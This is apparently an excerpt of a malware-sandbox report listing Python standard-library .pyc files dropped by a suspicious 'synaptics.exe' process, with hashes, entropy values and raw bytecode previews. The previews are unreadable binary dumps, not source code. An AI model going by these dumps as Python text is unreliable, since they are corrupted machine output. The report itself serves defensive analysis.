Queue.put(block=0)/put_nowait().Nr....r....r....r....r....r........r....r....c....................@...s....e.Z.d.Z.d.Z.d!d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d"d.d...Z.d"d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d ..Z.

C:\Users\Public\QExvbmVOb25l\lib\pycache\quopri.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	5807
Entropy (8bit):	5.454657646690387
Encrypted:	false
SSDEEP:	96:kPp0xXxswv10Es2XWFP0nf5nizGJFNYTBTO7u10IbJJs5WkbtL4FRJpGyd/8tzOR:oqrswv2EGmxMGb+rIWkOFldkS
MD5:	F93690DDE4BBA5A88DFFF80E29BD0AA5
SHA1:	0859E3843F413E73E1DB95CC20DC272D99613E83
SHA-256:	28D2B449A3FD21FB428B6B428D3B1CFC345BAAB8B9516D4818BEA30CC66C2AA9
SHA-512:	A300CFAEF4EF83AD81511A9DC1C9A2480C742E9D1231CB20BFA73765587419CBB636DFBEE014D7B1DB87C2006F410F5EC14B502E48AA70D1C065BA258299F06B
Malicious:	false
Reputation:	low
Preview:	o........'-dV........................@...s....d.Z.g.d...Z.d.Z.d.Z.d.Z.d.Z.z.d.d.l.m.Z.m.Z...W.n...e.y%......d.Z.d.Z.Y.n.w.d.d...Z.d.d...Z.d.d.d...Z.d.d.d...Z.d.d.d...Z.d.d.d...Z.d.d...Z.d.d...Z.d.d...Z.e.d.k.rWe.....d.S.d.S.).zHConversions to/from quoted-printable transport encoding as per RFC 1521.)...encode..decode..encodestring..decodestring.....=.L...s....0123456789ABCDEF..........)...a2b_qp..b2a_qpNc....................C...sH...t.\|.t...s.J...\|.d.v.r.\|.S.\|.d.k.r.\|.S.\|.t.k.p#d.\|.....k.o d.k.n.......S.).z.Decide whether a particular byte ordinal needs to be quoted... The 'quotetabs' flag indicates whether embedded tabs and spaces should be. quoted. Note that line-ending tabs and spaces are always encoded, as per. RFC 1521.. ..... ......_..... .....~)...isinstance..bytes..ESCAPE)...c..quotetabs..header..r.....*C:\Users\Public\QExvbmVOb25l\lib\quopri.py..needsquoting....s..............".r....c....................C...sB...t.\|.t...r.t.\|...d.k.s.J...t.\|...}.t.t.t.\|.d.....t.\|.

C:\Users\Public\QExvbmVOb25l\lib\pycache\random.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	22761
Entropy (8bit):	5.437346660850303
Encrypted:	false
SSDEEP:	384:g151Eqqa1srwKCiPSFSU2hf9xjTW8tCX21XiF+2YSNJWQhkYM+CS:gzJKZCiRTLCX2B1UJWbYVCS
MD5:	38B08542E21CD53FA1EDB606205C6669
SHA1:	DE389E58E3865457046E40A92B6543C4711E6A43
SHA-256:	E06D9AE871FA5F1D04671DFE5BF7ACF380F79DA78319447CC17A9CBDFEB561C8
SHA-512:	05D245CD7E3FE449EE17F65CA013C466A06319AAF7F45F34D3CA2133C58AA505557326B3C7347B0C1C0E8EA2E62903A45134C649DB58E384564E10B88FF87DDA
Malicious:	false
Reputation:	low
Preview:	o........'-dg........................@...s....d.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l m!Z"m#Z$..d.d.l%m&Z'..d.d.l(m)Z*m+Z,..d.d.l-m-Z...d.d.l.Z/d.d.l0Z0z.d.d.l1m2Z1..W.n...e3ym......d.d.l4m2Z1..Y.n.w.g.d...Z5d.e.d.....e.d.....Z6e.d...Z7d.e.d.....Z8d.Z9d.e9....Z:d.Z;G.d.d...d.e0j<..Z<G.d.d...d.e<..Z=e<..Z>e>j?Z?e>j@Z@e>jAZAe>jBZBe>jCZCe>jDZDe>jEZEe>jFZFe>jGZGe>jHZHe>jIZIe>jJZJe>jKZKe>jLZLe>jMZMe>jNZNe>jOZOe>jPZPe>jQZQe>jRZRe>jSZSe>jTZTe>jUZUd.d...ZVd#d.d...ZWeXe/d ..r.e/jYe>j?d!....eZd"k...r.eW....d.S.d.S.)$a....Random variable generators... bytes. -----. uniform bytes (values between 0 and 255).. integers. --------. uniform within range.. sequences. ---------. pick random element. pick random sample. pick weighted random sample. generate random permutation.. distributions on the real line:. ------------------------------. unifor

C:\Users\Public\QExvbmVOb25l\lib\pycache\re.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	14240
Entropy (8bit):	5.2132795076047325
Encrypted:	false
SSDEEP:	384:EuPJsiNrHyou2OkRFvMKUryx95qoxS6MbZ:ECJssrSoVfRAry/5qoU6MbZ
MD5:	39DCC135326C030CE0AF09FBE82CE3F4
SHA1:	5B15DD97469A1D797C06C477EC03519ACF4E9DC5
SHA-256:	6EAFAAFB0E609BA8A61F4C70CF6D2EE615ED1FD0DDBC10961ED52E17A80073C9
SHA-512:	D30EBAA41C6D6F42E53C3DAD609425B90DF2517D26F2C8B07B9EC3BB6456E9F101D858E2428995791AF5CCB9E41405AFEBA173EC561A378F1593F8BF5470A88C
Malicious:	false
Reputation:	low
Preview:	o........'-ds?.......................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.z.d.d.l.Z.W.n...e.y#......d.Z.Y.n.w.g.d...Z.d.Z.G.d.d...d.e.j...Z.e.....e.j.....e.j.Z.d0d.d...Z.d0d.d...Z.d0d.d...Z.d1d.d...Z.d1d.d...Z.d1d.d...Z.d0d.d...Z.d0d.d...Z.d0d.d...Z.d.d...Z.d0d.d...Z.d.d...d.D...Z.d d!..Z.e.e...d"d.....Z.e.e...d"d.....d"....Z.i.Z.d#Z d$d%..Z!e.."e ..d&d'....Z#d(d)..Z$d*d+..Z%d.d.l&Z&d,d-..Z'e&.(e.e'e!....G.d.d/..d/..Z)d.S.)2a....Support for regular expressions (RE)...This module provides regular expression matching operations similar to.those found in Perl. It supports both 8-bit and Unicode strings; both.the pattern and the strings being processed can contain null bytes and.characters outside the US ASCII range...Regular expressions can contain both special and ordinary characters..Most ordinary characters, like "A", "a", or "0", are the simplest.regular expressions; they simply match themselves. You can.concatenate ordinary characters, so last matches the string 'last'...Th

C:\Users\Public\QExvbmVOb25l\lib\pycache\reprlib.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	5263
Entropy (8bit):	5.030955164289262
Encrypted:	false
SSDEEP:	96:rdnTWdW9lUgN2VsfA2IywpvIyey0GtJAYKgl0Af6:dzDk52elT0c6Cg
MD5:	2486C7811641EC4E949ABD6D9D61FD92
SHA1:	963BC9E28601A76362A07860F82ABDCC8732EED8
SHA-256:	815181D3EED57DA097A1FD7F3F0D16EFF89D49DCD131162E8A0B966323433EB8
SHA-512:	BC00A6B366F18CEFF4C92BA6B6757C6DFE667AFB37B1C1AE54A8215EA94F9EFA023625B99D6D5D5A8DFB3AEA6681F0B42EFC13C6710BAB901CFFE4E49AB58C6A
Malicious:	false
Reputation:	low
Preview:	o........'-d4........................@...s\...d.Z.g.d...Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.d...Z.G.d.d...d...Z.d.d...Z.e...Z.e.j.Z.d.S.).zGRedo the builtin repr() (representation) but with limits on most sizes.)...Repr..repr..recursive_repr.....N)...islice)...get_ident.....c........................s......f.d.d...}.\|.S.).zGDecorator to make a repr function return fillvalue for a recursive callc........................sX...t...........f.d.d...}.t...d...\|._.t...d...\|._.t...d...\|._.t...d...\|._.t...d.i...\|._.\|.S.).Nc........................sJ...t.\|...t...f.}.\|...v.r...S.....\|.....z...\|...}.W.....\|.....\|.S.....\|.....w...N)...idr......add..discard)...self..key..result)...fillvalue..repr_running..user_function...+C:\Users\Public\QExvbmVOb25l\lib\reprlib.py..wrapper....s......................z<recursive_repr.<locals>.decorating_function.<locals>.wrapper..__module__..__doc__..__name__..__qualname__..__annotations__)...set..getattrr....r....r....r....r....).r....r......r....).r....r....r......

C:\Users\Public\QExvbmVOb25l\lib\pycache\selectors.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	17118
Entropy (8bit):	5.1815230849873295
Encrypted:	false
SSDEEP:	384:6jJ7Dm/9rSzUEok/L1xzQ8DdIE67SQSUQGJbvRkE4wSvBeL:6jJ7Dm/9rSzzBdIn7SQSkbvRkE4FvBeL
MD5:	A5E8CDC77D5AD61A03A8C629C4E54EAC
SHA1:	4FB8567DF71382A487FB231068004A752D5EEFFB
SHA-256:	D1D78CC49B099ABA607A4588332842AD68A89DB313CAE0BEB81319886B9BD58A
SHA-512:	7B5F6544E8A49295B3A1141B12D3C2ABAB64CC3FE22CB8322102E80F3D798FC501844D4A9F420F439103BB70F7F5A55CBA26D29E9FCEB879FA6A21F99ECECB28
Malicious:	false
Reputation:	low
Preview:	o........'-d.N.......................@...s....d.Z.d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.Z.d.Z.d.d...Z.e.d.g.d.....Z.d.e._.e.j.d.k.rId.e.j._.d.e.j._.d.e.j._.d.e.j._.G.d.d...d.e...Z.G.d.d...d.e.d...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.e.e.d...r.G.d.d...d.e...Z.e.e.d ..r.G.d!d"..d"e...Z.e.e.d#..r.G.d$d%..d%e...Z.e.e.d&..r.G.d'd(..d(e...Z.d)d*..Z.e.d&..r.e.Z.d.S.e.d ..r.e.Z.d.S.e.d#..r.e.Z.d.S.e.d...r.e.Z.d.S.e.Z.d.S.)+z\|Selectors module...This module allows high-level and efficient I/O multiplexing, built upon the.`select` module primitives.......)...ABCMeta..abstractmethod)...namedtuple)...MappingN..........c....................C...s`...t.\|.t...r.\|.}.n.z.t.\|.......}.W.n...t.t.t.f.y"......t.d...\|.....d...w.\|.d.k.r.t.d...\|.......\|.S.).z.Return a file descriptor from a file object... Parameters:. fileobj -- file object or file descriptor.. Returns:. corresponding file descriptor.. Raises:. ValueError if the object is invalid. z.I

C:\Users\Public\QExvbmVOb25l\lib\pycache\shlex.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	7795
Entropy (8bit):	5.512172106446463
Encrypted:	false
SSDEEP:	192:dQrdt23n7mQxhSaL09FKXY5nzg9gn1yiEWE5cnPrrvX:KrsKb9FKo5zg9g1yLZ6Pf
MD5:	ED168D357C03DC26539D6D968359834C
SHA1:	2772B6B1F3DBBE21F41BE36C5FD6AF8A14251C3F
SHA-256:	616593ABCAA088F46D0322565739FB6A55466F540C99C2B740AFA0A1D5DA73B8
SHA-512:	8EB969239BEC3D7A1C30F3CD30D68249B59680A24F091E605D7A5933BFB5D9302BFB0D5315DFE3F8A5D95416C7A28D2E5AAD3FFDF35E13F1213CDBD0E2D25449
Malicious:	false
Reputation:	low
Preview:	o........'-d.6.......................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...g.d...Z.G.d.d...d...Z.d.d.d...Z.d.d...Z.e...d.e.j...j.Z.d.d...Z.d.d...Z.e.d.k.rse.e.j...d.k.rPe.e.......d.S.e.j.d...Z.e.e.....Z.e.e.e.e.......W.d.........d.S.1.slw.......Y...d.S.d.S.)..8A lexical analyzer class for simple shell-like syntaxes......N)...deque)...StringIO)...shlex..split..quote..joinc....................@...sv...e.Z.d.Z.d.Z.....d.d.d...Z.e.d.d.....Z.d.d...Z.d.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d.d...Z.d.d...Z.d.d...Z.d.S.).r....r....NFc....................C...s....t.\|.t...r.t.\|...}.\|.d.u.r.\|.\|._.\|.\|._.n.t.j.\|._.d.\|._.\|.\|._.\|.r$d.\|._.n.d.\|._.d.\|._.d.\|._.\|.j.r7\|...j.d.7..._.d.\|._.d.\|._.d.\|._.d.\|._.d.\|._.d.\|._.t...\|._.d.\|._.d.\|._.d.\|._.t...\|._.d.\|._.\|.sbd.}.n.\|.d.u.rhd.}.\|.\|._.\|.r.t...\|._.\|...j.d.7..._.\|.j...t...\|.....}.\|.j...\|...\|._.d.S.d.S.).N....#Z?abcdfeghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_u\|..............................

C:\Users\Public\QExvbmVOb25l\lib\pycache\shutil.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	38374
Entropy (8bit):	5.531484846325215
Encrypted:	false
SSDEEP:	768:C6QqETanIk41k7RiruyBW6rZiFuTPgtyQwye+idEd4jalseGehtq:C6QqEMIBddYATPgtyQwye+idEd4useGr
MD5:	4EF34DB92E7BCC69DA9DD074935EC471
SHA1:	608A4B93D92FABB2D0E7C1B79273B8D25E2E5C09
SHA-256:	1D9F08B34BE1772C42A62E37A245E3C0B254D33B74E17BCEE6A01AD6394551F7
SHA-512:	A919661B2FD8C86F31612DADDF37259D419F85E3AE70A287ED35BF38E01413A9D18576661B9981BC678AA6081D0E98E47E12AE04D10C317BC51DC568E4753136
Malicious:	false
Reputation:	low
Preview:	o........'-d.........................@...s"...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.z.d.d.l.Z.[.d.Z.W.n...e.y.......d.Z.Y.n.w.z.d.d.l.Z.[.d.Z.W.n...e.yC......d.Z.Y.n.w.z.d.d.l.Z.[.d.Z.W.n...e.yX......d.Z.Y.n.w.e.j.d.k.Z.d...Z.Z.e.j.d.k.rld.d.l.Z.n.e.rrd.d.l.Z.e.rvd.n.d.Z.e.e.d...o.e.j...d...a.e.o.e.e.d...Z.d.Z.g.d...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e ..Z!G.d.d...d.e ..Z"d.d...Z#d.d...Z$e.f.d d!..Z%d.d"d#..Z&d$d%..Z'd&d'..Z(d(d)..Z)d.d..d+d,..Zd.d..d-d...Z+e.e.d/....r.d.d..d0d1..Z,n.d2d1..Z,d.d..d3d4..Z-d.d..d5d6..Z.d.d*..d7d8..Z/d9d:..Z0..d.d;d<..Z1d.d.e/d.d.f.d=d>..Z2e.e.j3d?....r@d@dA..Z4dBdC..Z5n.dDdA..Z4dEdC..Z5dFdG..Z6dHdI..Z7e.j8e.j.e.j9e.j:h.e.j;k...oje.j<e.j=v...oje.j.e.j>v.Z?d.dJdK..Z@e?e@_AdLdM..ZBe/f.dNdO..ZCdPdQ..ZDdRdS..ZEdTdU..ZFdVdW..ZG....d.dYdZ..ZH....d.d[d\..ZId]eHd^g.d_d.f.i.ZJe...r.eHd`g.dad.f.eJdb<.eIg.dcd.f.eJdd<.e...r.eHdeg.dfd.f.eJdg<.e...r.eHdhg.did.f.eJdj<.dkdl..ZKd.dndo..ZLdpdq..ZM

C:\Users\Public\QExvbmVOb25l\lib\pycache\signal.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	2948
Entropy (8bit):	4.8796788109167695
Encrypted:	false
SSDEEP:	48:/ynPssxfA01vMnGjQQDGnvsSZdCztcKcynJyDywm18XQfkt+A7BN5XjyubuOAh:sUshAku4rGvsqG6PiJyDywmcQq+A7D5a
MD5:	9913A4073B84AB819D9980F5EE50879B
SHA1:	2ABE2F5F6B4EC691672976F39A34BC09F232AE67
SHA-256:	10679BF423679AB3FD4025D6B248EF3D49A2F46A692AD41CC99DB4217E857DEB
SHA-512:	493006FCD7C0909FB478E281E9E5E00B5B437C894E84F4322F6F625B31E82EAD0CB1228F6B3D04D9307798A2D2734CCB11B4307A3B0B65146FC59B59A4D8CBDA
Malicious:	false
Reputation:	low
Preview:	o........'-d.........................@...s....d.d.l.Z.d.d.l.T.d.d.l.m.Z...e...Z.e...d.e.d.d.......e...d.e.d.d.......d.e.v.r0e...d.e.d.d.......d.d...Z.d.d...Z.d.d...Z.e.e.j...d.d.....Z.e.e.j...d.d.....Z.d.e.v.r[e.e.j...d.d.....Z.d.e.v.rhe.e.j...d.d.....Z.d.e.v.rue.e.j...d.d.....Z.d.e.v.r.e.e.j...d.d.....Z.[.[.d.S.)......N)...)...IntEnum..Signalsc....................C...s(...\|.....r.\|...d...o.\|...d.....p.\|...d...S.).NZ.SIGZ.SIG_Z.CTRL_)...isupper..startswith....name..r.....C:\Users\Public\QExvbmVOb25l\lib\signal.py..<lambda>....s............r......Handlersc....................C........\|.d.v.S.).N)...SIG_DFL..SIG_IGNr....r....r....r....r....r.................pthread_sigmaskZ.Sigmasksc....................C...r....).N).Z.SIG_BLOCKZ.SIG_UNBLOCKZ.SIG_SETMASKr....r....r....r....r....r........r....c....................C...s"...z.\|.\|...W.S...t.y.......\|...Y.S.w.).zsConvert a numeric value to an IntEnum member.. If it's not a known member, return the numeric value itself.. )...ValueError)

C:\Users\Public\QExvbmVOb25l\lib\pycache\site.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	17393
Entropy (8bit):	5.5105957286201
Encrypted:	false
SSDEEP:	384:0lpvTn42l1YP47TUN1PirJtKA5y15/Jgt1nmKQ1ruVhY2lrD9bIhx/xAUu2n8/X1:yL42l+g7TA1Pi9cA015hgt1nmlUvvlrx
MD5:	C2E5E0988514D2A58620E975D0C86FFE
SHA1:	AE3FF312C7059218EFC15D93AD614714CEA87615
SHA-256:	FAD6F929A2F0D0CF8D2D58C391EA8C39E7E4235B9441A2D7DBE3F40A48C63299
SHA-512:	EAEEDC5D65914495B110E285F95197772BF0959A98743F3133D77B0B451682261AF4A0AF23DAE2D65B3D1A3B9CA88F229DA453B3042229A907B05DBE9EEB3E86
Malicious:	false
Reputation:	low
Preview:	o........'-d.Z.......................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.e.j.e.j.g.a.d.a.d.a.d.a.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d4d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d4d.d...Z.d4d.d ..Z.d!d"..Z.d#d$..Z.d%d&..Z.d'd(..Z.d)d..Z.d+d,..Z d-d...Z!d/d0..Z"e.j#j$s.e"....d1d2..Z%e&d3k.r.e%....d.S.d.S.)5a....Append module search paths for third-party packages to sys.path...**************************************************************. This module is automatically imported during initialization. .***************************************************************..This will append site-specific paths to the module search path. On.Unix (including Mac OSX), it starts with sys.prefix and.sys.exec_prefix (if different) and appends.lib/python<version>/site-packages..On other platforms (such as Windows), it tries each of the.prefixes directly, as well as with lib/site-packages appended. The.resulting directories, if they exist, are appended to

C:\Users\Public\QExvbmVOb25l\lib\pycache\socket.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	28976
Entropy (8bit):	5.5350952758971665
Encrypted:	false
SSDEEP:	768:Ptwxm9l/P/XkfxdJRP8zqEhlM+Se4EwQ04PmNn9N:POxWpQEz3hlGe4EwQ0uc9N
MD5:	DFC1FF9026B1DE57120FFCB5029B0FE5
SHA1:	0EB5B2A13E76C4A377F5521C9872BE386DAA388F
SHA-256:	0D11482EF7611F27FDD33028D164C1A0440401A05BB7C91D43D93C2B1981D776
SHA-512:	092B961C1F594B7EFDACC0CCBB24EC932BA9AF6F6B5D2402766A6167A4778BC5EBEBE56BF9842C4AE4F6410ED00E054CB3DFC3CB34EC30D329E5EC7062520844
Malicious:	false
Reputation:	low
Preview:	o........'-dq........................@...sT...d.Z.d.d.l.Z.d.d.l.T.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z.m.Z...z.d.d.l.Z.W.n...e.y3......d.Z.Y.n.w.e.e.d.d...Z.e.e.d.d...Z.e.e.d.d...Z.g.d...Z.e...e...e.......e...d.e.d.d.......e...d.e.d.d.......e...d.e.d.d.......e...d.e.d.d.......d.Z.d.Z.d.d...Z.e.j.......d.....r.i.Z.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d <.d!e.d"<.d#e.d$<.d%e.d&<.d'e.d(<.d)e.d*<.d+e.d,<.d-e.d.<.d/e.d0<.d1e.d2<.d3e.d4<.d5e.d6<.d7e.d8<.d9e.d:<.d;e.d<<.d=e.d><.d?e.d@<.dAe.dB<.dCe.dD<.dEe.dF<.dGe.dH<.dIe.dJ<.dKe.dL<.dMe.dN<.dOe.dP<.dQe.dR<.dSe.dT<.dUe.dV<.dWe.dX<.dYe.dZ<.d[e.d\<.d]e.d^<.d_e.d`<.dae.db<.dce.dd<.dee.df<.dge.dh<.die.dj<.dke.dl<.dme.dn<.doe.dp<.dqe.dr<.dse.dt<.due.dv<.dwe.dx<.dye.dz<.d{e.d\|<.d}e.d~<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.

C:\Users\Public\QExvbmVOb25l\lib\pycache\sre_compile.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	15207
Entropy (8bit):	5.610123589853115
Encrypted:	false
SSDEEP:	384:MAz34fmVm0PVclj2zdkfUQPM2uwNX+0b5+Qwo39l5JCusKeMjv:MAnV8j8K8QL995twoNnJuKeov
MD5:	40D5F2F13E426D6DA926F5D9D7F1EF8B
SHA1:	1DF31256F6E5EB08EAEF48531A23B268A165808F
SHA-256:	A227116BAC972F5A76642BEBEB1B79DD95B0A2F44991486DC275485F33DB5D48
SHA-512:	09AC1A9B952EB1B093AE2F0D2E091E66C1EBAF248F55FD7C5A4B8F1BC3A9FD52291CA368D03E3BEF6884184C3114A623868EA59ED7430B452E5676156DD46176
Malicious:	false
Reputation:	low
Preview:	o........'-dmp.......................@...s$...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.T.e.j.e.k.s.J.d.....e.e.h.Z.e.e.e.h.Z.e.e.h.Z.e.e.h.Z.e.e.e.h.B.Z.d.Z.d.d...e.D...Z.e.j.f.d.d...Z.d.d...Z.d.d...Z.d-d.d...Z.e.j.d...Z.d.e.>.d...Z.d.Z.e.e f.d.d...Z!d.d...Z"d.d...Z#d.d...Z$d.d...Z%d.d...Z&d.d ..Z'd!d"..Z(d#d$..Z)d%d&..Zd'd(..Z+d)d..Z,d.d+d,..Z-d.S.)/z.Internal support module for sre.....N)...*z.SRE module mismatch).)..i...i1...)..s...i....).....i....).iE...i....i....).i....i....).i....i....).i....i....).i....i....).i....i....).i....i....).i....i....).i....i....).i....i....).i....i....).i2...i....).i4...i....).i>...i....).iA...i....).iB...i....i....).iJ...i....).ic...i....).i....iK...).ia...i....).i....i....c........................s....i.\|.].}.\|.D.].....t...f.d.d...\|.D.......q.q.S.).c....................3...s......\|.].}...\|.k.r.\|.V...q.d.S...N..)....0..j....ir...../C:\Users\Public\QExvbmVOb25l\lib\sre_compile.py..<genexpr>N...s........z.<dictcomp>.<genexpr>)...tuple).r......tr....r....r......<dic

C:\Users\Public\QExvbmVOb25l\lib\pycache\sre_constants.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	6370
Entropy (8bit):	5.779185419953205
Encrypted:	false
SSDEEP:	192:u7jrG4iQ2AaI2Ym9hqQBI1I1dadE1ff7l17mwvYhaSEZ84C:uM9EIdNfT6E8
MD5:	78312A280255BA09D4428C791B398342
SHA1:	D3DD822786D223D40EA8F31D08D8499049D2EA3E
SHA-256:	1156A1255C0142ECC51BDC390F54B68AA5C2CB123B66456403A36B9B85214463
SHA-512:	D1535C8B782729F05E95748A2703BFC3FA4C2216A6FD7D1224F5E4D00B02153AACC9895DB0EE2F51FC70DA2623335EF46DB4D718AA45F15FCB293ABC4D66DA75
Malicious:	false
Reputation:	low
Preview:	o........'-d.........................@...s^...d.Z.d.Z.d.d.l.m.Z.m.Z...G.d.d...d.e...Z.G.d.d...d.e...Z.e.e.d...Z.d.d...Z.e.d...Z.e.d.d...=.e.d...Z.e.d...Z.e.e.e.e.i.Z.e.e.e.e.i.Z.e.e.e.e.i.Z.e.e.e.e.i.Z.e.e.e.e i.Z!e.e"e.e#i.Z$e%e%e&e&e'e'e(e(e)ee+e,e-e-e.e.i.Z/e%e0e&e1e'e2e(e3e)e4e+e5e-e6e.e7i.Z8d.Z9d.Z:d.Z;d.Z<d.Z=d.Z>d.Z?d.Z@d.ZAd.ZBd.ZCd.ZDeEd.k...r-d.d...ZFeGd.d....zZHeH.Id.....eH.Id.e.......eFeHe.d ....eFeHe.d!....eFeHe.d!....eH.Id"e9......eH.Id#e:......eH.Id$e;......eH.Id%e<......eH.Id&e=......eH.Id'e>......eH.Id(e?......eH.Id)e@......eH.IdeA......eH.Id+eB......eH.Id,eC......eH.Id-eD......W.d.........n.1...s"w.......Y...eJd.....d.S.d.S.)/z.Internal support module for srei..3......)...MAXREPEAT..MAXGROUPSc........................s&...e.Z.d.Z.d.Z.d.Z.d...f.d.d...Z.....Z.S.)...errorai...Exception raised for invalid regular expressions... Attributes:.. msg: The unformatted error message. pattern: The regular expression pattern. pos: The index in the pattern

C:\Users\Public\QExvbmVOb25l\lib\pycache\sre_parse.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	21768
Entropy (8bit):	5.596073941861055
Encrypted:	false
SSDEEP:	384:CiS5DWum7nnQBcNr5ZjTL2xsP6HeYHfS/l2b7tAu9o23kZAt2umjtU30TezUpPB9:Cig5K2I6+YKd2b7tX3AAt2usyUx0lI
MD5:	6B604600B56CF13B86DA5505341277B1
SHA1:	C62376E01A9FAED9FD1B7E3F6EC2E323D80E28E3
SHA-256:	37A78AF691D8E85E6F2527ECA515E1D3EFCA58CE53A1A117D576A52206E7F364
SHA-512:	D57FAA4A41D4B8D2AB16369B0984D0964C860E1C603DC6748903B394D7921C9AA9606183FF311932174926474952F7F4CA09157A1B299475E0BA645098C258D7
Malicious:	false
Reputation:	low
Preview:	o........'-d.........................@...s....d.Z.d.d.l.T.d.Z.d.Z.e.d...Z.e.d...Z.e.d...Z.e.d...Z.e.d...Z.e.e.e.h...Z.e.e.e.e.e.e.e.h...Z.e.e.d...f.e.e.d...f.e.e.d...f.e.e.d...f.e.e.d...f.e.e.d...f.e.e.d...f.e.e.d...f.d...Z.e.e.f.e.e.f.e.e.f.e.e.e.f.g.f.e.e.e.f.g.f.e.e.e.f.g.f.e.e.e.f.g.f.e.e.e.f.g.f.e.e.e.f.g.f.e.e f.d...Z!e"e#e$e%e&e'e(e)d...Ze'e#B.e)B.Z+e,e(B.Z-G.d.d...d.e...Z/G.d.d...d...Z0G.d.d...d...Z1G.d.d...d...Z2d.d...Z3d.d ..Z4d!d"..Z5d#d$..Z6d3d&d'..Z7d(d)..Z8dd+..Z9d4d-d...Z:d/d0..Z;d1d2..Z<d,S.)5z.Internal support module for sre.....)...z..\[{()+?^$\|z.*+?{Z.0123456789Z.01234567Z.0123456789abcdefABCDEFZ4abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZz. ............................\).z.\a..\bz.\fz.\nz.\rz.\tz.\vz.\\).z.\Ar....z.\Bz.\dz.\Dz.\sz.\Sz.\wz.\Wz.\Z)...i..L..m..s..x..a..t..uc....................@...s....e.Z.d.Z.d.S.)...VerboseN)...__name__..__module__..__qualname__..r....r.....-C:\Users\Public\QExvbmVOb25l\lib\sre_parse.pyr....G...s........r....c...........

C:\Users\Public\QExvbmVOb25l\lib\pycache\ssl.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	44833
Entropy (8bit):	5.571074045540938
Encrypted:	false
SSDEEP:	768:M653tgqDiJVJd4LRmQPAMN4FM81OVgTkC5Nq9F6:M63tBOJDy9T9NCUM1rqb6
MD5:	D05F52515B2F1391DCB71F4C22AD68D4
SHA1:	AA8C2522946E26890CE4B1CFEA48D13F842ED7F4
SHA-256:	A05BAE9A574CC922E8B25154D4BD1EADCFFA8E40DFADC5A59499410ADFD1306A
SHA-512:	F60036C984CF723ED73CD0A4DA5F805FA1205DA5D93A931ED35A35154F71A0F4087F0A09F48048C79BF7F8BA3748EAEBAAADEA44DD255A7799F6896DB3469E6E
Malicious:	false
Reputation:	low
